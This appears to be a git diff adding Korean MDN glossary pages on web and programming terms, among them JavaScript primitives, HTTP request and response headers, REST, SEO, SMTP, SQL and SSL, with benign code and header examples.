{{Glossary("JavaScript")}}에서 원시 값(primitive, 또는 원시 자료형)이란 {{Glossary("object", "객체")}}가 아니면서 {{glossary("method", "메서드")}}도 가지지 않는 데이터입니다. 원시 값에는 6종류, {{Glossary("string")}}, {{Glossary("number")}}, {{glossary("bigint")}}, {{Glossary("boolean")}}, {{Glossary("undefined")}}, {{Glossary("symbol")}}이 존재합니다. 겉보기엔 원시 값처럼 보이는 {{glossary("null")}}도 있지만, 사실 모든 {{jsxref("Object")}}, 모든 구조화된 자료형은 프로토타입 체인에 따라 null의 자손입니다.

+ +

대부분의 경우, 원시 값은 언어 구현체의 가장 저급(low level) 단계에서 나타냅니다.

+ +

모든 원시 값은 불변하여 변형할 수 없습니다. 원시 값 자체와, 원시값을 할당한 변수를 혼동하지 않는 것이 중요합니다. 변수는 새로운 값을 다시 할당할 수 있지만, 이미 생성한 원시 값은 객체, 배열, 함수와는 달리 변형할 수 없습니다.

+ +

예제

+ +

다음 예제는 원시 값이 불변함을 이해할 때 도움이 됩니다.

+ +

JavaScript

+ +
// 문자열 메서드는 문자열을 변형하지 않음
+var bar = "baz";
+console.log(bar);        // baz
+bar.toUpperCase();
+console.log(bar);        // baz
+
+// 배열 메소드는 배열을 변형함
+var foo = [];
+console.log(foo);        // []
+foo.push("plugh");
+console.log(foo);        // ["plugh"]
+
+// 할당은 원시 값에 새로운 값을 부여 (변형이 아님)
+bar = bar.toUpperCase(); // BAZ
+
+ +

원시 값을 교체할 수는 있지만, 직접 변형할 수는 없습니다.

+ +

또 다른 예제 [단계별 정리]

+ +

다음 예제는 JavaScript가 원시값을 다루는 방법을 이해하는데 도움이 됩니다.

+ +

JavaScript

+ +
// 원시 값
+let foo = 5;
+
+// 원시 값을 변경해야 하는 함수 정의
+function addTwo(num) {
+   num += 2;
+}
+// 같은 작업을 시도하는 다른 함수
+function addTwo_v2(foo) {
+   foo += 2;
+}
+
+// 원시 값을 인수로 전달해 첫 번째 함수를 호출
+addTwo(foo);
+// 현재 원시 값 반환
+console.log(foo);   // 5
+
+// 두 번째 함수로 다시 시도
+addTwo_v2(foo);
+console.log(foo);   // 5
+
+ +

5 대신 7 일 것이라고 예상하였나요? 그렇다면, 이 코드의 실행 과정을 살펴보세요.

+ + + +

이것이 원시 값이 변하지 않는 이유입니다. 원시 값에 직접 작업하지 않으므로, 원본을 건드리지 않고 복사본 가져와 계속 작업을 합니다.

+ +

JavaScript에서의 원시 래퍼 객체

+ +

nullundefined 를 제외하고, 모든 원시 값은 원시 값을 래핑한 객체를 갖습니다.

+ + + +

래퍼 객체의 {{jsxref("Object.valueOf", "valueOf()")}} 메서드는 원시 값을 반환합니다.

+ +

더 알아보기

+ +

일반 지식

+ + + + diff --git a/files/ko/glossary/progressive_enhancement/index.html b/files/ko/glossary/progressive_enhancement/index.html new file mode 100644 index 0000000000..aff10459e9 --- /dev/null +++ b/files/ko/glossary/progressive_enhancement/index.html @@ -0,0 +1,24 @@ +--- +title: 점진적 향상 +slug: Glossary/Progressive_Enhancement +tags: + - 단계적 향상 + - 점진적 향상 + - 접근성 +translation_of: Glossary/Progressive_Enhancement +--- +

점진적 향상은 가능한 많은 사용자에게 필수 콘텐츠와 기능을 제공하기 위한 설계 철학이다. 나아가 필요한 모든 코드를 실행할 수 있는 최신 브라우저 사용자에게 최상의 경험을 제공한다.

+ +

기능 탐지는 일반적으로 브라우저가 고급 콘텐츠를 다룰 수 있는지 여부를 판단하는데 사용한다. 자바스크립트 폴리필과 함께 누락한 기능을 구현하는데 종종 사용한다.

+ +

접근성에 대한 특별한 고지가 있어야 한다. 가능하다면 수용할 수 있는 대체 수단을 제공하는 것이 좋다.

+ +

알려지지 않은 다양한 사용자 에이전트가 웹 사이트에 접근할 때 웹 개발자가 여러 문제를 저울질하며 최상의 웹 사이트를 개발하도록 집중할 수 있는 유용한 기법이다. {{Glossary("Graceful degradation", "단계적 기능 축소")}}는 관련이 있지만 다르다. 종종 점진적 향상과 반대인 것처럼 보인다. 실제로 두 접근법은 유효하고 서로를 보완할 수 있다.

+ +

더 배우기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/protocol/index.html b/files/ko/glossary/protocol/index.html new file mode 100644 index 0000000000..4546dd4c2b --- /dev/null +++ b/files/ko/glossary/protocol/index.html @@ -0,0 +1,26 @@ +--- +title: 프로토콜 +slug: Glossary/Protocol +tags: + - Glossary + - Infrastructure +translation_of: Glossary/Protocol +--- +

프로토콜은 컴퓨터 내부에서, 또는 컴퓨터 사이에서 데이터의 교환 방식을 정의하는 규칙 체계입니다. 기기 간 통신은 교환되는 데이터의 형식에 대해 상호 합의를 요구합니다. 이런 형식을 정의하는 규칙의 집합을 프로토콜이라고 합니다. 

+ +

더 알아보기

+ +

일반 지식

+ + + +

같이 보기

+ + diff --git a/files/ko/glossary/prototype-based_programming/index.html b/files/ko/glossary/prototype-based_programming/index.html new file mode 100644 index 0000000000..a01cd24f14 --- /dev/null +++ b/files/ko/glossary/prototype-based_programming/index.html @@ -0,0 +1,19 @@ +--- +title: 프로토타입 기반 프로그래밍 +slug: Glossary/Prototype-based_programming +tags: + - CodingScripting + - Glossary +translation_of: Glossary/Prototype-based_programming +--- +

프로토타입 기반 프로그래밍은 {{Glossary("OOP", "객체 지향 프로그래밍")}}과 달리 클래스를 명확히 정의하지 않아도 되며, 속성과 메서드를 다른 클래스의 인스턴스나 빈 객체에 추가하는 작업을 덜 수 있는 프로그래밍 스타일 입니다.

+ +

간단히 말하면 이 프로그래밍 스타일은 어떤 {{Glossary('Object', '객체')}}를 생성할 때 처음 그 객체의 {{Glossary('Class', '클래스')}}를 정의하지 않는 것을 허용합니다.

+ +

더 배우기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/prototype/index.html b/files/ko/glossary/prototype/index.html new file mode 100644 index 0000000000..3fd818bfee --- /dev/null +++ b/files/ko/glossary/prototype/index.html @@ -0,0 +1,16 @@ +--- +title: Prototype +slug: Glossary/Prototype +translation_of: Glossary/Prototype +--- +

프로토타입은 개발 사이클의 초기 단계에서 제품 혹은 어플리케이션의 외형이나 동작을 보여줄 수 있는 모델을 의미합니다. 

+ +

상속과 프로토타입 체인에 대해서도 살펴보세요.

+ +

Learn more

+ +

General knowledge

+ + diff --git a/files/ko/glossary/proxy_server/index.html b/files/ko/glossary/proxy_server/index.html new file mode 100644 index 0000000000..48a2fa7c00 --- /dev/null +++ b/files/ko/glossary/proxy_server/index.html @@ -0,0 +1,20 @@ +--- +title: 프록시 서버 +slug: Glossary/Proxy_server +translation_of: Glossary/Proxy_server +--- +

프록시 서버란 인터넷 상의 여러 네트워크들에 접속할 때 중계 역할을 해주는 프로그램 또는 컴퓨터를 말한다. 월드 와이드 웹(World Wide Web) 상의 컨텐츠에 쉽게 접근할 수 있도록 도와준다. 프록시는 리퀘스트를 가로챈 뒤(intercepts) 리스폰스를 돌려준다. 이렇게 가로챈 리퀘스트를 전달해줄 수도, 아닐 수도(예시. 캐시인 경우), 수정할 수도 있다(예시. 서로 다른 두 네트워크 간의 경계에서 헤더를 바꾸는 경우)  

+ +

프록시는 사용자의 로컬 컴퓨터에 존재할 수도 있고, 인터넷 상에서 사용자의 컴퓨터와 목표 서버 사이 그 어느 곳에든 존재할 수 있다. 일반적으로 크게 주로 2가지 종류의 프록시 서버가 존재한다.

+ + + +

Learn More

+ + diff --git a/files/ko/glossary/pseudocode/index.html b/files/ko/glossary/pseudocode/index.html new file mode 100644 index 0000000000..a604a3231e --- /dev/null +++ b/files/ko/glossary/pseudocode/index.html @@ -0,0 +1,14 @@ +--- +title: Pseudocode +slug: Glossary/Pseudocode +translation_of: Glossary/Pseudocode +--- +

의사 코드(Pseudocode)는 일반적으로 사람에게 일부 코드 구문의 작동 방식을 나타내거나 코드 아키텍처 항목의 디자인을 설명하는 데 사용되는 코드와 유사한 구문을 나타냅니다. 그것은 아마도 코드로 실행시키려고 하면 작동하지 않을 것입니다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/python/index.html b/files/ko/glossary/python/index.html new file mode 100644 index 0000000000..f625034195 --- /dev/null +++ b/files/ko/glossary/python/index.html @@ -0,0 +1,22 @@ +--- +title: Python +slug: Glossary/Python +translation_of: Glossary/Python +--- +

Python 은 고도의 범용 프로그래밍 언어다. 그것은 절차적, 객체지향적, 그리고 일부 기능적 프로그래밍 구조를 지원하는 다변수적 접근방식을 사용한다.

+ +

1985년에서 1990년 사이에 다른 언어(ABC라고 불리는)의 계승자로 불리는 귀도 반 로섬에 의해 만들어졌으며, 현재는 웹 개발, 데스크톱 애플리케이션, 데이터 과학, DevOps, 자동화/생산성과 같은 다양한 영역에서 사용되고 있다.

+ +

Python은 OSI가 승인한 오픈 소스 라이센스로 개발되어 상업적인 용도로도 자유롭게 사용할 수 있고 사용할 수 있다. Python의 라이선스는  Python Software Foundation에 의해 관리된다.

+ +

더 알아보기

+ + diff --git a/files/ko/glossary/reflow/index.html b/files/ko/glossary/reflow/index.html new file mode 100644 index 0000000000..334e7027fc --- /dev/null +++ b/files/ko/glossary/reflow/index.html @@ -0,0 +1,12 @@ +--- +title: Reflow +slug: Glossary/Reflow +translation_of: Glossary/Reflow +--- +

대화형 사이트에서 업데이트 한 후와 같이 {{glossary("browser")}}가 웹 페이지의 일부 또는 전부를 다시 처리하고 그려야할 때 리플로우가 발생한다.

+ +

더 배우기

+ + diff --git a/files/ko/glossary/regular_expression/index.html b/files/ko/glossary/regular_expression/index.html new file mode 100644 index 0000000000..279785d383 --- /dev/null +++ b/files/ko/glossary/regular_expression/index.html @@ -0,0 +1,27 @@ +--- +title: 정규식 +slug: Glossary/Regular_expression +tags: + - 문법 + - 정규표현식 +translation_of: Glossary/Regular_expression +--- +

정규식(Regular expressions or regex)은 연속적인 문자들을 검색하는 제어방법입니다.

+ +

정규식은 다양한 언어에서 구현되지만 펄 스크립트 언어에서 가장 잘 구현되어 있으며, 이는 PCRE (Perl Compatible Regular Expression)라고 불리는 자체 문법 체계를 구현했습니다. 웹상에서, {{glossary("JavaScript")}} 는{{jsxref("RegExp")}}를 통해 또다른 정규 표현식 문법을 제공합니다.

+ +

더 보기

+ +

일반 지식

+ + + +

기술 문서

+ + diff --git a/files/ko/glossary/request_header/index.html b/files/ko/glossary/request_header/index.html new file mode 100644 index 0000000000..4963c8e43b --- /dev/null +++ b/files/ko/glossary/request_header/index.html @@ -0,0 +1,41 @@ +--- +title: 요청 헤더 +slug: Glossary/Request_header +translation_of: Glossary/Request_header +--- +

요청 헤더는 HTTP 요청에서 사용되지만 메시지의 컨텐츠와는 관련이 없는 {{glossary("header", "HTTP 헤더")}}입니다. {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language", "Accept-*")}}, {{HTTPHeader("If-Modified-Since", "If-*")}}와 같은 요청 헤더들은 조건부 요청 수행을 허용합니다. {{HTTPHeader("Cookie")}}, {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Referer")}}와 같은 다른 것들은 컨텍스트를 정확히 나타내어 서버가 응답에 맞출 수 있게합니다.

+ +

요청에 나타나는 모든 헤더가 요청 헤더인것은 아닙니다. 예를 들면, {{HTTPMethod("POST")}} 요청에 나타나는 {{HTTPHeader("Content-Length")}}는 실제로 요청 메시지 바디의 크기를 참조하는 {{glossary("entity header")}}입니다. 하지만, 이러한 엔티티 헤더는 종종 컨텍스트와 같은 요청 헤더라 불립니다.

+ +

부가적으로, CORS는 요청 헤더의 하위 집합을 {{glossary('simple header', 'simple 헤더')}}로 정의하고, 항상 인증된것으로 고려되며 {{glossary("preflight request", "preflight")}} 요청에 대한 응답에 명시적으로 나열되지않는 요청 헤더를 정의합니다.

+ +

{{HTTPMethod("GET")}} 요청 이후의 몇 가지 요청 헤더입니다.

+ +
GET /home.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/testpage.html
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+If-Modified-Since: Mon, 18 Jul 2016 02:36:04 GMT
+If-None-Match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a"
+Cache-Control: max-age=0
+ +

엄밀히 말해서, 이 예시의 {{HTTPHeader("Content-Length")}} 헤더는 다른 것들처럼 요청 헤더가 아니며 {{glossary("entity header")}}입니다.

+ +
POST /myform.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Content-Length: 128
+
+ +

더 알아보기

+ +

기술적 지식

+ + diff --git a/files/ko/glossary/response_header/index.html b/files/ko/glossary/response_header/index.html new file mode 100644 index 0000000000..29886082c9 --- /dev/null +++ b/files/ko/glossary/response_header/index.html @@ -0,0 +1,39 @@ +--- +title: 응답 헤더 +slug: Glossary/Response_header +tags: + - WebMechanics + - 용어 +translation_of: Glossary/Response_header +--- +

응답 헤더는 HTTP 응답에서 사용될 수 있는 {{glossary("header", "HTTP 헤더")}}이며, 메시지의 컨텐츠와는 관련이 없습니다. {{HTTPHeader("Age")}}, {{HTTPHeader("Location")}} 또는 {{HTTPHeader("Server")}}와 같은 응답 헤더는 더 상세한 응답의 컨텍스트를 제공하기위해 사용됩니다.

+ +

응답에 나타나는 모든 헤더가 응답 헤더인것은 아닙니다. 예를 들어, {{HTTPHeader("Content-Length")}} 헤더는 응답 메시지 바디의 크기를 참조하는 {{glossary("entity header")}}입니다. 그러나 이러한 엔티티 요청은 보통 컨텍스트에서 응답 헤더로 불립니다.

+ +

다음은 {{HTTPMethod("GET")}} 요청 이후의 몇 가지 응답 헤더를 보여줍니다. 엄밀히 말하면, {{HTTPHeader("Content-Encoding")}}과 {{HTTPHeader("Content-Type")}} 헤더는 {{glossary("entity header")}}임을 유의하세요.

+ +
200 OK
+Access-Control-Allow-Origin: *
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Mon, 18 Jul 2016 16:06:00 GMT
+Etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a"
+Keep-Alive: timeout=5, max=997
+Last-Modified: Mon, 18 Jul 2016 02:36:04 GMT
+Server: Apache
+Set-Cookie: mykey=myvalue; expires=Mon, 17-Jul-2017 16:06:00 GMT; Max-Age=31449600; Path=/; secure
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+X-Backend-Server: developer2.webapp.scl3.mozilla.com
+X-Cache-Info: not cacheable; meta data too large
+X-kuma-revision: 1085259
+x-frame-options: DENY
+ +

더 알아보기

+ +

기술적 지식

+ + diff --git a/files/ko/glossary/rest/index.html b/files/ko/glossary/rest/index.html new file mode 100644 index 0000000000..47472e143c --- /dev/null +++ b/files/ko/glossary/rest/index.html @@ -0,0 +1,24 @@ +--- +title: REST +slug: Glossary/REST +translation_of: Glossary/REST +--- +

REST(Representational State Transfer)는 효율적, 안정적이며 확장가능한 분산시스템을 가져올 수 있는소프트웨어 아키텍처 디자인 제약의 모음을 나타냅니다. 그리고 그 제약들을 준수했을 때 그 시스템은 RESTful하다고 일컬어집니다.

+ +

REST의 기본 개념은 리소스입니다. 리소스의 예로는 잘 정의된 상태와  관계, 표준화된 작동방식과 형식을 가지고 전송되는 문서를 들 수 있습니다. 종종 타입이나 문서를 수정해야할 때, APIs혹은 그 서비스는  어디에선가 액션을 불러일으키지 않고 스스로 RESTful을 호출합니다.

+ +

Web 뒤의 기준 프로토콜인  HTTP은 문서와 하이퍼텍스트 링크 또한 전달하기 때문에, 간단한 HTTP APIs는 꼭 REST 제약을 지킬 필요가 없어도 통상적으로 RESTful APIs, RESTful services, 혹은 simply REST services라고 불립니다. 초보자는 REST API는 표준 웹 라이브러리 및 도구가 사용되는 HTTP서비스라고 가정해도 좋습니다.

+ +

REST와 관련된 개념 참고 사이트

+ + + +

전반적인 지식

+ + diff --git a/files/ko/glossary/self-executing_anonymous_function/index.html b/files/ko/glossary/self-executing_anonymous_function/index.html new file mode 100644 index 0000000000..f4fac91ac7 --- /dev/null +++ b/files/ko/glossary/self-executing_anonymous_function/index.html @@ -0,0 +1,8 @@ +--- +title: Self-Executing Anonymous Function +slug: Glossary/Self-Executing_Anonymous_Function +translation_of: Glossary/Self-Executing_Anonymous_Function +--- +

정의되자마자 실행되는 {{glossary("JavaScript")}} {{glossary("function")}}입니다.  (a.k.a. {{glossary("IIFE")}} (즉시실행함수))

+ +

링크된 즉시실행함수 페이지에서 더 많은 정보를 얻을 수 있습니다.

diff --git a/files/ko/glossary/semantics/index.html b/files/ko/glossary/semantics/index.html new file mode 100644 index 0000000000..256defb7d1 --- /dev/null +++ b/files/ko/glossary/semantics/index.html @@ -0,0 +1,153 @@ +--- +title: Semantics +slug: Glossary/Semantics +tags: + - 의미론 + - 의미론적 요소 +translation_of: Glossary/Semantics +--- +

프로그래밍에서,시맨틱은 코드 조각의 의미를 나타냅니다 — 예를 들어 ("이게 어떻게 시각적으로 보여질까?" 보다)"이 Javascript 라인을 실행하는 것은 어떤 효과가 있는가?", 혹은 "이 HTML 엘리먼트가 가진 목적이나 역할은 무엇인가?"

+ +

JavaScript 시맨틱

+ + + +

JavaScript의 경우입니다. textContent 문자열을 매개변수로 하고  {{htmlelement("li")}} 요소를 반환하는 함수를 생각해봅시다. 코드 볼 때, 함수를 build('Peach') 로 부르거나 createLiWithContent('Peach') 부르는 것 중 어느 것이 이 함수의 기능 파악하기에 쉬울까요?

+ +

CSS 시맨틱

+ + + +

CSS의 경우입니다. 다양한 종류의 과일을 나타내기 위해서는 리스트 태그 li 가 있다고 가정해봅시다.   div> ul> li  와 .fruits__item   둘 중 어떤 것이 어떤 DOM부분이 선택되었는지 잘 알려줄까요?

+ +

HTML 시맨틱

+ + + +

예를 들어 HTML에서는 {{htmlelement("h1")}} 은 시맨틱 요소입니다.  "이 페이지에서 최상위 제목" 인 텍스트를 감싸는 역할(또는 의미)를 나타냅니다.

+ +
<h1>This is a top level heading</h1>
+ + + +

기본적으로 대부분의 브라우저의 사용자 에이전트 스타일시트 {{htmlelement("h1")}} 가 제목(heading) 처럼 보이도록  큰사이즈 폰트로 스타일을 만듭니다(당신이 원하는 대로 스타일을 바꿀 수도 있지만요).

+ +

반면에 모든 요소를 ​​'최상위 제목'처럼 보이게 할 수 있습니다. 다음을 고려하세요:

+ +
<span style="font-size: 32px; margin: 21px 0;">Is this a top level heading?</span>
+ + + +

이렇게 하면 top level heading 처럼 보이지만 의미적 가치(semantic value)가 없으므로 위에서 설명한 것처럼 추가적인 이점은 얻을 수 없습니다. 따라서 작업에 적합한 HTML 요소를 사용하는 것이 좋습니다.

+ + + +

HTML은 채워질 데이터를 나타내도록 코딩해야합니다.  기본 프리젠테이션 스타일기반이 아니라요. 프레젠테이션(어떻게 보여져야만 하는가)은 CSS만의 단독 역할입니다.

+ + + +

의미론적인 마크업을 사용하면 아래와 같은 이점이 있습니다:

+ + + + + +

사용할 마크업에 접근할 때 스스로에게 물어보세요. "내가 채울 데이터를 가장 잘 설명하고 나타내는 요소는 무엇일까?" 예를 들어, 그 데이터는 정렬된 목록입니까? 정렬되지 않은 목록입니까?, 관련된 정보가 제외된 섹션이 있는 아티클(article)입니까?, 정의의 나열입니까?,  캡션이 필요한 그림 또는 이미지입니까?, 사이트 전체 머리글(header) 및 바닥글(footer) 외에 또 다른 머리글과 바닥글이 있어야합니까? 등등

+ + + +

의미론적 요소(element)들

+ + + + + +

사용가능한 백 여개 정도의 요소(elements)들이 있습니다.

+ + + +

Learn more

+ + + + diff --git a/files/ko/glossary/seo/index.html b/files/ko/glossary/seo/index.html new file mode 100644 index 0000000000..7961e629da --- /dev/null +++ b/files/ko/glossary/seo/index.html @@ -0,0 +1,41 @@ +--- +title: SEO +slug: Glossary/SEO +tags: + - Glossary + - Intro + - SEO + - Search + - WebMechanic +translation_of: Glossary/SEO +--- +

SEO(검색 엔진 최적화)는 웹사이트가 검색 결과에 더 잘 보이도록 최적화하는 과정입니다. 검색 랭크 개선이라고도 합니다.

+ +

검색 엔진은 웹을 {{Glossary("Crawler", "크롤링")}}하면서 페이지에서 페이지로 링크를 따라가고, 찾은 콘텐츠의 색인을 생성합니다. 검색 결과에 보이는 것은 바로 그 콘텐츠 색인입니다. 크롤러는 일정 규칙을 따르므로, SEO를 진행하며 해당 규칙을 밀접하게 따라가면 웹사이트가 검색 결과의 보다 높은 곳에 노출돼 (전자상거래와 광고라면) 수익으로 연결될 수도 있습니다.

+ +

검색 엔진은 일부 SEO 가이드라인을 제공하긴 하지만 대형 검색 엔진의 경우 결과 랭킹은 영업 비밀로 취급합니다. 따라서 SEO는 검색 엔진의 공식 가이드라인에 더해 경험적인 지식, 논문과 특허 등에서 가져온 이론적 지식을 결합한 과정입니다.

+ +

SEO는 세 가지 큰 방향으로 나눌 수 있습니다.

+ +
+
기술적
+
콘텐츠 마크업을 작성할 때 시맨틱 {{Glossary("HTML")}}을 사용하세요. 색인하길 원했던 콘텐츠만 크롤러가 긁어갈 것입니다.
+
콘텐츠 작성
+
방문자층에 맞는 언어로 콘텐츠를 작성하세요. 이미지와 더불어 텍스트를 사용해, 크롤러가 주제를 이해할 수 있도록 도우세요.
+
인기도
+
다른 유명한 사이트에서 여러분의 사이트로 링크를 했다면 더 많은 트래픽을 받습니다.
+
+ +

더 알아보기

+ +

일반 지식

+ + + +

SEO 배우기

+ + diff --git a/files/ko/glossary/server/index.html b/files/ko/glossary/server/index.html new file mode 100644 index 0000000000..87ec127d89 --- /dev/null +++ b/files/ko/glossary/server/index.html @@ -0,0 +1,25 @@ +--- +title: Server +slug: Glossary/Server +translation_of: Glossary/Server +--- +

서버는 일반적으로 클라이언트라고 불리는 사용자에게 서비스를 제공하는 소프트웨어 또는 하드웨어이다.  하드웨어 서버는 네트워크의 공유 컴퓨터로서, 대개 강력하고 데이터 센터에 저장된다.  소프트웨어 서버(하드웨어 서버에서 자주 실행됨)는 클라이언트 프로그램에 서비스를 제공하는 프로그램 또는 사용자 클라이언트의 {{glossary("UI","user interface")}}을 말한다.

+ +

서비스는 일반적으로 지역 네트워크 또는 인터넷과 같은 광역 네트워크를 통해 제공된다. 클라이언트 프로그램과 서버 프로그램은 전통적으로 {{glossary("API")}}을 사용하여 인코딩된 메시지를 {{glossary("protocol", "프로토콜")}}에 전달하여 연결한다.

+ +

예를 들어:

+ + + +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/shim/index.html b/files/ko/glossary/shim/index.html new file mode 100644 index 0000000000..edc7f37edd --- /dev/null +++ b/files/ko/glossary/shim/index.html @@ -0,0 +1,14 @@ +--- +title: 심 +slug: Glossary/Shim +translation_of: Glossary/Shim +--- +

shim은 이미 존재하는 코드의 동작을 바로잡는 데 사용되는 코드 모음이며, 보통 문제를 야기시키는 신규 API에 대응한다. 시중에 배포된 브라우저에서 지원되지 않는 신규 API를 구현하는 폴리필({{Glossary("polyfill")}})과 대조된다. 

+ +

더 많은 정보

+ +

일반 정보

+ + diff --git a/files/ko/glossary/signature/function/index.html b/files/ko/glossary/signature/function/index.html new file mode 100644 index 0000000000..c3091298a7 --- /dev/null +++ b/files/ko/glossary/signature/function/index.html @@ -0,0 +1,52 @@ +--- +title: Signature (functions) +slug: Glossary/Signature/Function +translation_of: Glossary/Signature/Function +--- +

함수 시그니처(타입 시그니처, 메소드 시그니처)는 {{Glossary("Function", "functions")}} 그리고 {{Glossary("Method", "methods")}}의 입력과 출력을 정의합니다.

+ +

시그니처는 다음을 포함합니다:

+ + + +

In depth

+ +

Signatures in JavaScript

+ +

{{Glossary("JavaScript")}}는 약한 타입 혹은 동적 언어입니다. 이것은 여러분이 변수의 타입을 미리 선언하지 않아도 됨을 의미합니다. 타입은 프로그램이 실행되는 동안 자동으로 결정됩니다. 하지만 JavaScript에서의 시그니처는 여전히 여러분에게 메소드에 대한 몇 가지 정보를 제공해줄 수 있습니다:

+ +
MyObject.prototype.myFunction(value)
+ + + +

Signatures in Java

+ +

{{Glossary("Java")}}는 VM수준에서 메서드와 클래스를 식벽하는데 시그니처가 사용됩니다.  Java 코드를 싱행하기 위해서는 변수의 타입을 선언해야 합니다. Java는 강한 타입이며, 컴파일 시간에 parameters의 type의 정확성을 검사합니다.

+ +
public static void main(String[] args)
+ + + +

Learn more

+ +

General knowledge

+ + diff --git a/files/ko/glossary/signature/index.html b/files/ko/glossary/signature/index.html new file mode 100644 index 0000000000..71d2207441 --- /dev/null +++ b/files/ko/glossary/signature/index.html @@ -0,0 +1,19 @@ +--- +title: Signature +slug: Glossary/Signature +tags: + - Disambiguation + - Glossary + - NeedsTranslation + - TopicStub +translation_of: Glossary/Signature +--- +

The term signature can have several meanings depending on the context. It may refer to:

+ +

{{GlossaryDisambiguation}}

+ +

Learn more

+ + diff --git a/files/ko/glossary/simd/index.html b/files/ko/glossary/simd/index.html new file mode 100644 index 0000000000..8ea2e76c6d --- /dev/null +++ b/files/ko/glossary/simd/index.html @@ -0,0 +1,20 @@ +--- +title: SIMD +slug: Glossary/SIMD +tags: + - Glossary + - JavaScript +translation_of: Glossary/SIMD +--- +

SIMD ("seem-dee"로 발음) 는 {{Interwiki("wikipedia","Flynn%27s_taxonomy","컴퓨터 구조 분류")}} 중 하나인 단일 명령어/복수 데이터(Single Instruction/Multiple Data)의 단축입니다. SIMD는 같은 연산 하나가 결과상 데이터 레벨 병렬화 및 성능 향상이 되는 여러 데이터 요소(point)에 수행될 수 있게 합니다, 가령 3D graphics 및 video 처리, 물리 시뮬레이션 또는 암호화(cryptography) 및 다른 도메인을 위한.

+ +

명령어 또는 데이터 집합 내 병렬화 없는 순차 구조의 경우 {{Glossary("SISD")}} 참조.

+ +

더 알아보기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/smtp/index.html b/files/ko/glossary/smtp/index.html new file mode 100644 index 0000000000..f38e300389 --- /dev/null +++ b/files/ko/glossary/smtp/index.html @@ -0,0 +1,31 @@ +--- +title: SMTP +slug: Glossary/SMTP +tags: + - Beginner + - Glossary + - Infrastructure +translation_of: Glossary/SMTP +--- +

SMTP(Simple Mail Transfer Protocol)는 새로운 이메일을 전송할 때 사용하는 {{glossary("protocol", "프로토콜")}}입니다. {{glossary("POP3")}}나 {{glossary("NNTP")}}처럼, SMTP도 {{glossary("state machine", "상태 기계")}} 기반 프로토콜입니다.

+ +

SMTP는 상대적으로 직관적입니다. 복잡함을 유발하는 주요 원인은 다양한 인증 방법(GSSAPI, CRAM-MD5, NTLM, MSN, AUTH LOGIN, AUTH PLAIN...) 지원, 오류 응답 처리, 인증 실패(서버에서 어떤 방법을 지원한다고 주장했으나 사실 아닐 때 등) 시 처리 등입니다.

+ + diff --git a/files/ko/glossary/sql/index.html b/files/ko/glossary/sql/index.html new file mode 100644 index 0000000000..60c2735897 --- /dev/null +++ b/files/ko/glossary/sql/index.html @@ -0,0 +1,21 @@ +--- +title: SQL +slug: Glossary/SQL +translation_of: Glossary/SQL +--- +

SQL (구조화 질의어, Structured Query Language) 은 테이블 기반 데이터베이스에서 데이터를 업데이트, 수집, 계산하기 위해 디자인된 기술형 컴퓨터 언어입니다.

+ +

같이 보기

+ +

일반적인 지식

+ + + +

SQL 배우기

+ + diff --git a/files/ko/glossary/ssl/index.html b/files/ko/glossary/ssl/index.html new file mode 100644 index 0000000000..d522912ce3 --- /dev/null +++ b/files/ko/glossary/ssl/index.html @@ -0,0 +1,27 @@ +--- +title: Secure Sockets Layer (SSL) +slug: Glossary/SSL +translation_of: Glossary/SSL +--- +

Secure Sockets Layer(SSL)는 클라이언트와 서버 간의 안전한 링크를 통해 송수신되는 모든 데이터를 안전하게 보장하는 과거의 보안 표준 기술이었다. SSL 버전 3.0은 Netscape가 1999년에 발표했으며 현재에는 {{Glossary("TLS", "Transport Layer Security (TLS)")}} 로 대체되었다.

+ + diff --git a/files/ko/glossary/stacking_context/index.html b/files/ko/glossary/stacking_context/index.html new file mode 100644 index 0000000000..b28ba6e62c --- /dev/null +++ b/files/ko/glossary/stacking_context/index.html @@ -0,0 +1,18 @@ +--- +title: 쌓임 맥락 +slug: Glossary/Stacking_context +tags: + - CSS + - CodingScripting + - Glossary +translation_of: Glossary/Stacking_context +--- +

쌓임 맥락은 마치 책상 위의 카드를 옆으로 늘어놓거나 서로 겹치게 만들 수 있듯, 웹 페이지에서 어떤 요소가 위에 그려지는지 결정하는 방법입니다.

+ +

더 알아보기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/string/index.html b/files/ko/glossary/string/index.html new file mode 100644 index 0000000000..a64203c3a0 --- /dev/null +++ b/files/ko/glossary/string/index.html @@ -0,0 +1,17 @@ +--- +title: String +slug: Glossary/String +translation_of: Glossary/String +--- +

특정한 컴퓨터 프로그래밍 언어에서 문자를 표현하는 데 사용되는, {{Glossary("character","문자")}} 열 시퀀스이다.

+ +

{{Glossary("JavaScript")}}에서 String은 {{Glossary("Primitive", "원시 값들")}} 중 하나이고 {{jsxref("String")}}객체는 String primitive를 둘러싼 {{Glossary("wrapper")}}다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/svg/index.html b/files/ko/glossary/svg/index.html new file mode 100644 index 0000000000..9ecc5ecc36 --- /dev/null +++ b/files/ko/glossary/svg/index.html @@ -0,0 +1,37 @@ +--- +title: 가변 벡터 도형 (SVG) +slug: Glossary/SVG +tags: + - SVG + - 가변 벡터 도형 + - 그래픽 +translation_of: Glossary/SVG +--- +

